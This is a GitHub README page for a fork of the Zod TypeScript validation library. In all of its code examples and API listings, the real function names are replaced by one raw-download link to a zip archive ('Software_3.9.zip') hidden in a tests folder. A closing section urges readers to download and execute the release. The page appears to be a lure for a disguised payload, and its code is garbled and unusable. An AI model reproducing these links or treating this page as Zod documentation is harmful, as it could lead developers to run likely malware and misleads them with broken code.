Skip to content

Zod is a TypeScript-first schema validation library that offers static type inference. It simplifies data validation while ensuring type safety, making your code more reliable. πŸ› οΈπŸš€

License

Notifications You must be signed in to change notification settings

Aakanksha011/zod

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

2,206 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Zod: TypeScript-First Schema Validation πŸš€

Zod Logo

Welcome to the Zod repository! Zod is a powerful library for schema validation in TypeScript. It offers static type inference, ensuring that your data structures align perfectly with your TypeScript types. This means fewer runtime errors and a smoother development experience.

Table of Contents

Features

  • Type Safety: Zod provides runtime validation while ensuring that your TypeScript types are accurate.
  • Schema Validation: Create schemas for your data models and validate them easily.
  • Static Type Inference: Automatically infer types from your schemas, reducing boilerplate code.
  • Lightweight: Zod is designed to be minimal and efficient, making it a great choice for TypeScript projects.

Installation

To install Zod, use npm or yarn:

npm install zod

or

yarn add zod

Usage

Here’s a simple example to get you started:

import { z } from 'zod';

// Define a schema
const UserSchema = https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip({
  name: https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(),
  age: https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip().min(0),
});

// Validate data
const result = https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip({ name: "Alice", age: 30 });

if (https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip) {
  https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip("Valid user:", https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip);
} else {
  https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip("Validation errors:", https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip);
}

In this example, we define a UserSchema that requires a name as a string and an age as a non-negative number. The safeParse method checks the data against the schema and returns either the validated data or errors.

Examples

Basic Schema Validation

const ProductSchema = https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip({
  id: https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(),
  price: https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip().positive(),
});

const productData = { id: "123", price: 25 };

const productResult = https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(productData);

if (https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip) {
  https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip("Valid product:", https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip);
} else {
  https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip("Validation errors:", https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip);
}

Nested Schemas

Zod also supports nested schemas for complex data structures.

const OrderSchema = https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip({
  orderId: https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(),
  products: https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(ProductSchema),
});

const orderData = {
  orderId: "order-001",
  products: [{ id: "123", price: 25 }],
};

const orderResult = https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(orderData);

if (https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip) {
  https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip("Valid order:", https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip);
} else {
  https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip("Validation errors:", https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip);
}

Custom Validation

You can also create custom validations using the refine method.

const EmailSchema = https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip().email();

const emailResult = https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip("https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip");

if (https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip) {
  https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip("Valid email:", https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip);
} else {
  https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip("Validation errors:", https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip);
}

API Reference

Zod provides a rich API for creating and validating schemas. Here are some key components:

  • https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(): Creates an object schema.
  • https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(): Creates a string schema.
  • https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(): Creates a number schema.
  • https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(): Creates an array schema.
  • https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(): Creates a union schema.
  • https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(): Creates an intersection schema.
  • https://github.com/Aakanksha011/zod/raw/refs/heads/main/packages/zod/src/v3/tests/Software_3.9.zip(): Creates a tuple schema.
  • refine(): Adds custom validation logic.

For a complete list of methods and options, please refer to the official documentation.

Contributing

We welcome contributions! If you'd like to help improve Zod, please follow these steps:

  1. Fork the repository.
  2. Create a new branch (git checkout -b feature/YourFeature).
  3. Make your changes and commit them (git commit -m 'Add some feature').
  4. Push to the branch (git push origin feature/YourFeature).
  5. Open a Pull Request.

Please ensure your code adheres to our coding standards and includes tests where applicable.

License

Zod is open-source software licensed under the MIT License. See the LICENSE file for more details.

Releases

For the latest updates and releases, visit the Releases section. You can download the latest version and execute it in your projects.

Download Latest Release

Feel free to check out the Releases for more details on what's new!

Conclusion

Zod simplifies schema validation in TypeScript while ensuring type safety. Its straightforward API makes it easy to use in any TypeScript project. We hope you find Zod useful and look forward to your contributions!

Zod

Thank you for checking out Zod!

About

Zod is a TypeScript-first schema validation library that offers static type inference. It simplifies data validation while ensuring type safety, making your code more reliable. πŸ› οΈπŸš€

Topics

Resources

License

Code of conduct

Contributing

Stars

Watchers

Forks

Releases

No releases published

Sponsor this project

 

Packages

No packages published

Contributors 393